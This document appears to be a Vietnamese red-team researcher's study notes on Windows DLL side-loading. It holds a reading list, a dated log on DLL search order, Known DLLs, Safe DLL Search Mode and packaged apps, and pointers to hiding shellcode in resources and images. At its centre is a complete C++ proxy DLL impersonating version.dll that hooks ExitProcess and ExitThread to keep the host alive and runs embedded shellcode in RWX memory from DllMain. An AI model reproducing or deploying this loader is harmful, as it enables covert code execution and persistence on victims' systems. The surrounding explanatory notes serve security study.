## Cấu hình bind
#### Simple bind
#### Anonymous
#### SASL

```
Khi thực hiện psexec thì các rule nào, phương thức nào trên máy đích và máy thực hiện cần được bật
```
1. DLL Side loading
- Link:
- `https://medium.com/@everythingBlackkk/red-team-tip-dll-side-loading-proxying-c9afab64d6dd`
- `https://github.com/zer0t0/CVE-2025-56383-Proof-of-Concept`
- `https://whitehat.vn/threads/notepad-lo-hong-plugin-co-the-cung-cap-persistence-cho-ke-tan-cong.18792/?fbclid=IwY2xjawNaFoJleHRuA2FlbQIxMABicmlkETFMb08zdnVNMVRJRkozVDJBAR57kchk4YGXo_P1VvNY_yZGAYXu6YDCN1ZGxs8LUb10YZlirvkcKhIDjaJqOg_aem_KgBE0F9AySE_nER9KtSvgA`
- `https://github.com/notepad-plus-plus/notepad-plus-plus/issues/13964`
- `https://medium.com/@everythingBlackkk/red-team-tip-dll-side-loading-proxying-c9afab64d6dd`
- `https://www.r-tec.net/r-tec-blog-dll-sideloading.html`
- `https://print3m.github.io/blog/dll-sideloading-for-initial-access`
Link Tham khảo:
[winhttp.dll](https://hijacklibs.net/entries/microsoft/built-in/winhttp.html)
[hijacking](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)
[dll hijacking](https://pentestlab.blog/2017/03/27/dll-hijacking/)
[ytb](https://www.youtube.com/watch?v=3eROsG_WNpE)
[break lib dll](https://labs.jumpsec.com/breaking-into-libraries-dll-hijacking/)
[ussing spatarcus](https://www.pavel.gr/blog/dll-hijacking-using-spartacus)
[dll sideloading medium](https://systemweakness.com/understanding-dll-sideloading-093b7b9ae3e8)
[hijacking and proxying](https://lucabarile.github.io/Blog/dll_hijacking_and_proxying/index.html)
[teams](https://f20.be/blog/dll-sideloading)
[ytb develop](https://www.youtube.com/watch?v=4aiAtGF9tF4)
[auto discovery](https://posts.specterops.io/automating-dll-hijack-discovery-81c4295904b0)
[blogs](https://www.r-tec.net/r-tec-blog-dll-sideloading.html)
[secur32.dll](https://hijacklibs.net/entries/microsoft/built-in/secur32.html)
[dll](https://zsecurity.org/dll-proxying-and-sideloading/?srsltid=AfmBOoqx7OksU2iVd3mW7BRFeO2M0zFdbtmDA2f2LE_nq8c8xGpoVRi2)
[docs dll pdf](https://hub.dragos.com/hubfs/116-Whitepapers/Dragos_WP_DLL_Hijacking_FINAL.pdf?hsLang=en)
[gup](https://www.atomicredteam.io/atomic-red-team/atomics/T1574.001)
[spatarcus](https://www.pavel.gr/blog/dll-hijacking-using-spartacus-outside-of-dllmain)
[dll lateral](https://arista.my.site.com/AristaCommunity/s/article/exploiting-the-shadows-using-dll-hijacking-for-lateral-movement-and-how-to-hunt-for-it)
[github](https://github.com/ChoiSG/OneDriveUpdaterSideloading)
[dll sideloading](https://www.prodefense.io/blog/dll-sideloading)
[onedrive medium](https://ainkun.medium.com/dll-hijacking-onedrive-73f06ce102ce)
[blog dll initial access](https://print3m.github.io/blog/dll-sideloading-for-initial-access)
Hellshell github
syswhisper
https://mklimenko.github.io/english/2018/06/23/embed-resources-msvc/
```
MessageBox( NULL, "Hello, World!", "Hi!", MB_OK );
```
```
#include <windows.h>
#include <iostream>
#include "shellcode.h"
// Windows 11
#pragma comment(linker, "/EXPORT:GetFileVersionInfoA=C:\\Windows\\System32\\version.GetFileVersionInfoA,@1")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoByHandle=C:\\Windows\\System32\\version.GetFileVersionInfoByHandle,@2")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoExA=C:\\Windows\\System32\\version.GetFileVersionInfoExA,@3")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoExW=C:\\Windows\\System32\\version.GetFileVersionInfoExW,@4")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeA,@5")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExA,@6")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExW,@7")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeW,@8")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoW=C:\\Windows\\System32\\version.GetFileVersionInfoW,@9")
#pragma comment(linker, "/EXPORT:VerFindFileA=C:\\Windows\\System32\\version.VerFindFileA,@10")
#pragma comment(linker, "/EXPORT:VerFindFileW=C:\\Windows\\System32\\version.VerFindFileW,@11")
#pragma comment(linker, "/EXPORT:VerInstallFileA=C:\\Windows\\System32\\version.VerInstallFileA,@12")
#pragma comment(linker, "/EXPORT:VerInstallFileW=C:\\Windows\\System32\\version.VerInstallFileW,@13")
#pragma comment(linker, "/EXPORT:VerLanguageNameA=C:\\Windows\\System32\\version.VerLanguageNameA,@14")
#pragma comment(linker, "/EXPORT:VerLanguageNameW=C:\\Windows\\System32\\version.VerLanguageNameW,@15")
#pragma comment(linker, "/EXPORT:VerQueryValueA=C:\\Windows\\System32\\version.VerQueryValueA,@16")
#pragma comment(linker, "/EXPORT:VerQueryValueW=C:\\Windows\\System32\\version.VerQueryValueW,@17")
void NoOpFunction()
{
OutputDebugString(L"ExitProcess/ExitThread call intercepted!\n");
}
HANDLE g_threadHandle = NULL;
BOOL HookIAT(const char* moduleName, const char* funcName, void* newFunction)
{
HMODULE hModule = GetModuleHandle(NULL);
if (!hModule)
return FALSE;
IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)hModule;
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)
return FALSE;
IMAGE_NT_HEADERS* ntHeader = (IMAGE_NT_HEADERS*)((BYTE*)hModule + dosHeader->e_lfanew);
if (ntHeader->Signature != IMAGE_NT_SIGNATURE)
return FALSE;
IMAGE_DATA_DIRECTORY importDir = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
if (importDir.VirtualAddress == 0)
return FALSE;
IMAGE_IMPORT_DESCRIPTOR* importDesc = (IMAGE_IMPORT_DESCRIPTOR*)((BYTE*)hModule + importDir.VirtualAddress);
for (; importDesc->Name; importDesc++)
{
const char* dllName = (const char*)((BYTE*)hModule + importDesc->Name);
if (_stricmp(dllName, moduleName) != 0)
continue;
IMAGE_THUNK_DATA* thunk = (IMAGE_THUNK_DATA*)((BYTE*)hModule + importDesc->FirstThunk);
IMAGE_THUNK_DATA* origThunk = (IMAGE_THUNK_DATA*)((BYTE*)hModule + importDesc->OriginalFirstThunk);
for (; thunk->u1.Function; thunk++, origThunk++)
{
if (origThunk->u1.AddressOfData == 0)
continue;
IMAGE_IMPORT_BY_NAME* importByName = (IMAGE_IMPORT_BY_NAME*)((BYTE*)hModule + origThunk->u1.AddressOfData);
if (_stricmp((const char*)importByName->Name, funcName) == 0)
{
DWORD oldProtect;
if (!VirtualProtect(&thunk->u1.Function, sizeof(thunk->u1.Function), PAGE_EXECUTE_READWRITE, &oldProtect))
return FALSE;
thunk->u1.Function = (ULONGLONG)NoOpFunction;
VirtualProtect(&thunk->u1.Function, sizeof(thunk->u1.Function), oldProtect, &oldProtect);
return TRUE;
}
}
}
return FALSE;
}
BOOL TerminateDllThread()
{
if (g_threadHandle == NULL)
return FALSE;
BOOL result = TerminateThread(g_threadHandle, 0);
if (result)
{
CloseHandle(g_threadHandle);
g_threadHandle = NULL;
}
return result;
}
extern "C" __declspec(dllexport) BOOL StopDllThread()
{
return TerminateDllThread();
}
DWORD WINAPI ThreadFunction(LPVOID lpParameter)
{
LPVOID newMemory;
HANDLE currentProcess;
SIZE_T bytesWritten;
SIZE_T shellcodelen = sizeof(buf);
BOOL didWeCopy = FALSE;
currentProcess = GetCurrentProcess();
newMemory = VirtualAllocEx(currentProcess, NULL, shellcodelen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (newMemory == NULL)
return -1;
didWeCopy = WriteProcessMemory(currentProcess, newMemory, (LPCVOID)&buf, shellcodelen, &bytesWritten);
if (!didWeCopy)
{
VirtualFreeEx(currentProcess, newMemory, 0, MEM_RELEASE);
return -2;
}
__try {
((void(*)())newMemory)();
}
__except (EXCEPTION_EXECUTE_HANDLER) {
OutputDebugStringA("Shellcode caused an exception!");
VirtualFreeEx(currentProcess, newMemory, 0, MEM_RELEASE);
ExitThread(-3);
}
VirtualFreeEx(currentProcess, newMemory, 0, MEM_RELEASE);
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
HANDLE threadHandle;
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
HookIAT("kernel32.dll", "ExitProcess", NoOpFunction);
HookIAT("kernel32.dll", "ExitThread", NoOpFunction);
threadHandle = CreateThread(NULL, 0, ThreadFunction, NULL, 0, NULL);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
if (g_threadHandle)
{
TerminateDllThread();
}
break;
}
return TRUE;
}
```
*THỨ 6-17/10/2025: TÌM HIỂU VỀ CƠ CHẾ LOAD DLL*
*1. +Tìm hiểu khi file load một dll thì nó sẽ load theo thứ tự như thế nào?+*
* Thứ tự tìm kiếm DLL
** Cơ sở tìm kiếm DLL
*** Windows sử dụng một thứ tự cụ thể để tìm kiếm và tải DLL khi ứng dụng gọi hàm LoadLibrary hoặc LoadLibraryEx. Có một số trường hợp đặc biệt mà hệ thống sẽ bỏ qua việc tìm kiếm và tải trực tiếp DLL:
**** DLL đã được tải vào bộ nhớ: Nếu một DLL cùng tên đã được tải vào bộ nhớ của tiến trình (process), Windows sẽ sử dụng DLL đó mà không cần tìm kiếm lại, bất kể đường dẫn của nó.
**** DLL thuộc danh sách Known DLLs. Những DLL này và các DLL phụ thuộc của nó được tải trực tiếp từ bộ nhớ mà không cần tìm kiếm.
*** Nếu một DLL có các DLL phụ thuộc, hệ thống sẽ tìm kiếm các DLL phụ thuộc này như thể chúng được tải chỉ bằng tên module (không có đường dẫn tuyệt đối đến nó), ngay cả khi DLL chính được chỉ định bằng đường dẫn tuyệt đối.
** Thứ tự tìm kiếm tiêu chuẩn
*** Thứ tự tìm kiếm DLL cũng phụ thuộc vào việc Safe DLL Search Mode có được bật hay không:
**** Khi Safe DLL Search Mode bật:
***** Thư mục của ứng dụng: Thư mục chứa file thực thi (.exe) của ứng dụng.
***** Thư mục hệ thống: Thư mục trả về bởi hàm GetSystemDirectory (thường là C:\Windows\System32).
***** Thư mục hệ thống 16-bit: Chỉ tồn tại để tương thích ngược, thường không cần quan tâm.
***** Thư mục Windows: Thư mục trả về bởi hàm GetWindowsDirectory (thường là C:\Windows).
***** Thư mục hiện tại: Thư mục trả về bởi hàm GetCurrentDirectory.
***** Thư mục trong biến môi trường PATH: Các thư mục được liệt kê trong biến môi trường PATH của hệ thống.
**** Khi Safe DLL Search Mode tắt:
***** Thư mục của ứng dụng.
***** Thư mục hiện tại (được ưu tiên cao hơn so với khi bật Safe DLL Search Mode).
***** Thư mục hệ thống.
***** Thư mục hệ thống 16-bit.
***** Thư mục Windows.
***** Thư mục trong biến môi trường PATH.
*** Điểm khác biệt ở đây là khi Safe DLL Search Mode bị tắt thì thư mục hiện tại (thư mục thực hiện hành động) sẽ được kiểm tra trước thư mục hệ thống (đây là một điểm cần chú ý để viết mã cho hợp lý)
** Sửa đổi thứ tự tìm kiếm DLL: Theo tìm hiểu thì sẽ có hai cách chính để thay đổi thứ tự tìm kiếm
*** Sử dụng hàm LoadLibraryEx với cờ LOAD_WITH_ALTERED_SEARCH_PATH
**** Khi gọi LoadLibraryEx với cờ này, ta cần chỉ định đường dẫn tuyệt đối của DLL trong tham số lpFileName.
**** Thay vì sử dụng thư mục của ứng dụng làm thư mục gốc, Windows sẽ sử dụng thư mục chứa DLL được chỉ định trong lpFileName làm điểm bắt đầu cho việc tìm kiếm các DLL phụ thuộc. (Nghĩa là nó sẽ được ưu tiên lên tìm kiếm đầu tiên, lúc này nó sẽ được xem như thư mục hiện tại chứa exe)
*** Sử dụng hàm SetDllDirectory
**** Thứ tự tìm kiếm sau khi gọi SetDllDirectory(lpPathName)
***** Thư mục của ứng dụng.
***** Thư mục được chỉ định bởi lpPathName.
***** Thư mục hệ thống.
***** Thư mục hệ thống 16-bit.
***** Thư mục Windows.
***** Thư mục trong biến môi trường PATH.
**** Trường hợp đặc biệt
***** Nếu lpPathName là chuỗi rỗng (""), thư mục hiện tại sẽ bị loại khỏi thứ tự tìm kiếm.
***** Nếu gọi SetDllDirectory(NULL), thứ tự tìm kiếm sẽ trở về mặc định (theo cấu hình của Safe DLL Search Mode trong registry).
* Viết code xác minh thứ tự thực sự load dll của windows
** Viết một chương trình C++ đơn giản thực hiện load một dll không hề xuất hiện trên hệ thống (test.dll), sử dụng procmon để quan sát xem nó sẽ duyệt như thế nào, kết quả nó duyệt đúng theo quy tắc của windows với Safe DLL Search Mode được enable.
!code_check_search_order.png|width=548,height=204!
!procmon_check_search_order.png|width=559,height=228!
!path_variable_environment.png|width=461,height=403!
* Phần tìm hiểu giải thích rõ hơn:
** Cách để xác định được dll đó có nằm trong danh sách known dll hay không?
*** Đầu tiên thì DLL known là danh sách các dll cực kỳ quan trọng với hệ thống, hệ thống thường xuyên gọi các dll này, dll này giúp hệ thống hoạt động bình thường. Nó thường sẽ nằm trong registry để khi khởi động hệ thống nó sẽ load các dll này lên một cách nhanh chóng. Nếu có sửa đổi các dll này sẽ dẫn đến hệ thống sẽ chạy không được như bình thường nữa.
*** Các dll này sẽ được load lên (bằng LoadLibrary hoặc LoadLibraryEx) mà không cần thông qua quy tắc search order path trong Windows (giúp tiết kiệm thời gian vì các dll này thường xuyên được gọi)
*** Có thể xem nó tại registry: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
*** Viết một chương trình nhỏ sử dụng LoadLibrary để load các dll này lên, sử dụng procmon (operation là load image) để quan sát, nếu nó load thành công dll mà trong procmon không thấy tìm kiếm path nào hết thì chứng tỏ nó là known dll thật.
** Safe DLL Search Mode
*** Chế độ này mặc định nó sẽ được bật trên các bản Windows từ XP SP2 trở về sau này.
*** Những cách để có thể bật/tắt chế độ này (thông qua đây chúng ta phải recon được thông tin trên máy này có status của chế độ này như thế nào để thực hiện đặt dll cho hợp lý hoặc có thể code bao quát tất cả trường hợp với thông tin recon được trong lúc chạy luôn)
**** Registry (HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager): tại registry này với các phiên bản windows mới thì chúng ta sẽ không còn thấy được SafeDllSearchMode vì nó được đặt là enable mặc định theo windows và không cấu hình ở đây, nếu muốn edit thì phải tạo (HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode), set value cho nó là 0 (disable) hoặc 1 (enable) để thực hành lab theo mong muốn.
**** Nhấn chuột phải vào Session Manager, chọn New > DWORD (32-bit) Value. Đặt tên cho giá trị mới là SafeDllSearchMode. Cuối cùng sẽ set value cho nó.
** Hàm SetDllDirectory:
*** Khi gọi hàm này để thêm một thư mục vào path search dll, chế độ Safe DLL Search Mode sẽ bị vô hiệu hóa trong khi thư mục mà ta chỉ định sẽ nằm trong path search
*** Safe DLL Search Mode là chế độ an toàn mà Windows sử dụng để đưa thư mục hiện tại (current directory) vào cuối danh sách tìm kiếm DLL, nhằm ngăn ngừa các cuộc tấn công DLL hijacking, trong đó một ứng dụng có thể vô tình tải một DLL độc hại từ thư mục hiện tại thay vì từ thư mục hệ thống.
** Liệu khi search path thì nó có thực hiện search có subfolder của folder đó hay chỉ search mỗi base folder đó thôi?
*** Nếu thư mục C:\MyApp nằm trong search path, Windows sẽ chỉ tìm kiếm DLL trong thư mục C:\MyApp mà không tìm kiếm trong các thư mục con của nó như C:\MyApp\libs, C:\MyApp\dlls
** Ngoài ra, em sẽ tìm hiểu thêm về AddDllDirectory trong quá thực hiện viết code, nó cho phép thêm các path vào search path lúc load dll, còn SetDllDirectory nó chỉ thêm được 1 path thôi.
* Phần ở trên khi search path liên quan đến các ứng dụng Unpackaged, dưới đây sẽ đề cập đến cách thức load dll của ứng dụng Packaged
** Ứng dụng Unpackaged và Packaged là gì?
*** Unpackaged:
**** Là những ứng dụng truyền thống được cài trực tiếp lên hệ điều hành mà không quá bất cứ quá trình đóng gói của windows (giống như các file cài đặt exe, msi tải về và chạy được tiếp)
**** Quá trình load dll của các file này sẽ tuân theo các quy chuẩn ở bên trên và nó sẽ load dll có thể nói là bừa bãi, không kiểm soát như thế (điểm quan trọng).
*** Packaged
**** Là những ứng dụng được đóng gói trong một package đặc biệt, thường là các ứng dụng UWP (Universal Windows Platform), ứng dụng từ Microsoft Store hoặc ứng dụng Windows Desktop Bridge (Project Centennial). Những ứng dụng này được quản lý bởi Windows Store hoặc Microsoft Store và có một số hạn chế nhất định về quyền truy cập và cách thức tải DLL.
**** Nó sẽ load dll mà nó được phép truy cập theo các hạn chế của nền tảng, nó không thể tải dll từ bất kỳ thư mục nào giống với Unpackaged mà phải tuân theo các chính sách và quyền hạn được chỉ định.
*** Điểm có thể phân biệt:
**** Packaged thường có tệp manifest để khai báo các thư viện cần thiết và không thể tự động tải bất kỳ DLL nào ngoài các thư viện đã được chỉ định và được cấp quyền.
**** Sử dụng powershell:
***** Get-AppxPackage: liệt kê taats cả gói ứng dụng được cài đặt trên hệ thống
***** Get-AppxPackage -Name {*}Microsoft.WebMediaExtensions{*}: xem thông tin của một gói cụ thể
!packaged_application_windows.png|width=592,height=355!
!xml_packaged_app.png|width=571,height=230!
!powershell_check_packaged_app.png|width=534,height=357!
** Load dll với Packaged
*** Các yêu tố ảnh ưởng đến search order:
**** DLL redirection: Cho phép chỉ định một thư mục cụ thể để tải DLL thông qua tệp manifest hoặc các phương pháp khác.
**** API sets: Một số DLL được ánh xạ đến các bộ API của Windows, được hệ thống xử lý đặc biệt.
**** Side-by-side (SxS) manifest redirection (chỉ áp dụng cho ứng dụng desktop, không áp dụng cho UWP apps): Sử dụng tệp application manifest (hay còn gọi là fusion manifest) để chuyển hướng tải DLL.
**** Loaded-module list: Nếu một DLL với cùng tên module đã được tải vào bộ nhớ (bất kể từ thư mục nào), Windows sẽ sử dụng DLL đó mà không tìm kiếm lại.
**** Known DLLs: Các DLL nằm trong danh sách Known DLLs (xem tại HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs) sẽ được tải trực tiếp từ bản sao của hệ thống, cùng với các DLL phụ thuộc của chúng.
**** DLL dependencies: Nếu một DLL có các DLL phụ thuộc, hệ thống sẽ tìm kiếm các DLL phụ thuộc này như thể chúng được tải chỉ bằng tên module, ngay cả khi DLL chính được chỉ định bằng đường dẫn tuyệt đối.
*** Khi sử dụng hàm LoadPackagedLibrary, DLL phải nằm trong package dependency graph (biểu đồ phụ thuộc gói) của tiến trình, tức là trong gói ứng dụng hoặc các gói phụ thuộc được khai báo trong tệp manifest của ứng dụng.
*** Khi load dll bằng cách khác như LoadLibrary:
**** DLL redirection.
**** API sets.
**** SxS manifest redirection (chỉ cho ứng dụng desktop, không áp dụng cho UWP).
**** Loaded-module list.
**** Known DLLs.
**** Package dependency graph: Bao gồm gói ứng dụng và các phụ thuộc được khai báo trong phần <PackageDependency> của tệp manifest.
**** Thư mục của file thực thi (thư mục chứa file .exe của ứng dụng).
**** Thư mục hệ thống (%SystemRoot%\system32, lấy từ GetSystemDirectory).
*** Còn lại các nội dung tương tự. (lưu ý ở đây tài liệu này xét đầy đủ hơn, bổ sung 4 thứ tự đầu tiên cho search order của cả unpackaged và packaged, còn lại thì các định nghĩa tương tự)
*2. +Thực hiện load shellcode từ resource thay vì load từ file header:+*
* Thực hiện tương tự theo các kỹ thuật sau:
** Storage shellcode (file .bin) trong rsrc: ([https://www.ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources])
** Thực hiện steganography (giấu shellcode vào trong ảnh): ([https://wafflesexploits.github.io/posts/Hide_a_Payload_in_Plain_Sight_Embedding_Shellcode_in_a_Image_file/])
*3. +Tìm hiểu toàn bộ quá trình khi một file DLL được load cho đến khi nó chạy thành công:+*
* Phần này em chỉ mới tìm hiểu sơ qua về lý thuyết, em chưa thực nghiệm ạ.
*4. +Tham khảo:+*
* Cài đặt Safe DLL Mode: ([https://www.reddit.com/r/cybersecurity/comments/1cg0fvb/windows_10_safedllsearchmode_not_enabled_by/?rdt=53935]), ([https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order])
* Windows DLL Finding Order: ([https://programmerall.com/article/89721055636/])
* Kỹ thuật steganography, giấu shellcode trong ảnh:
** Youtube: ([https://www.youtube.com/watch?v=Ys8WA2T3oeI])
** Github: ([https://github.com/andrecrafts/hide-payload-in-images])
** Blog: ([https://wafflesexploits.github.io/posts/Hide_a_Payload_in_Plain_Sight_Embedding_Shellcode_in_a_Image_file/])
* Kỹ thuật giấu và thực thi shellcode vào rsrc: ([https://www.ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources]), ([https://4p0cryph0n.github.io/malware%20dev/windows-malware-development-4/])
* DLL redirection: ([https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection])
* Packaging application: ([https://learn.microsoft.com/en-us/windows/apps/package-and-deploy/#advantages-and-disadvantages-of-packaging-your-app])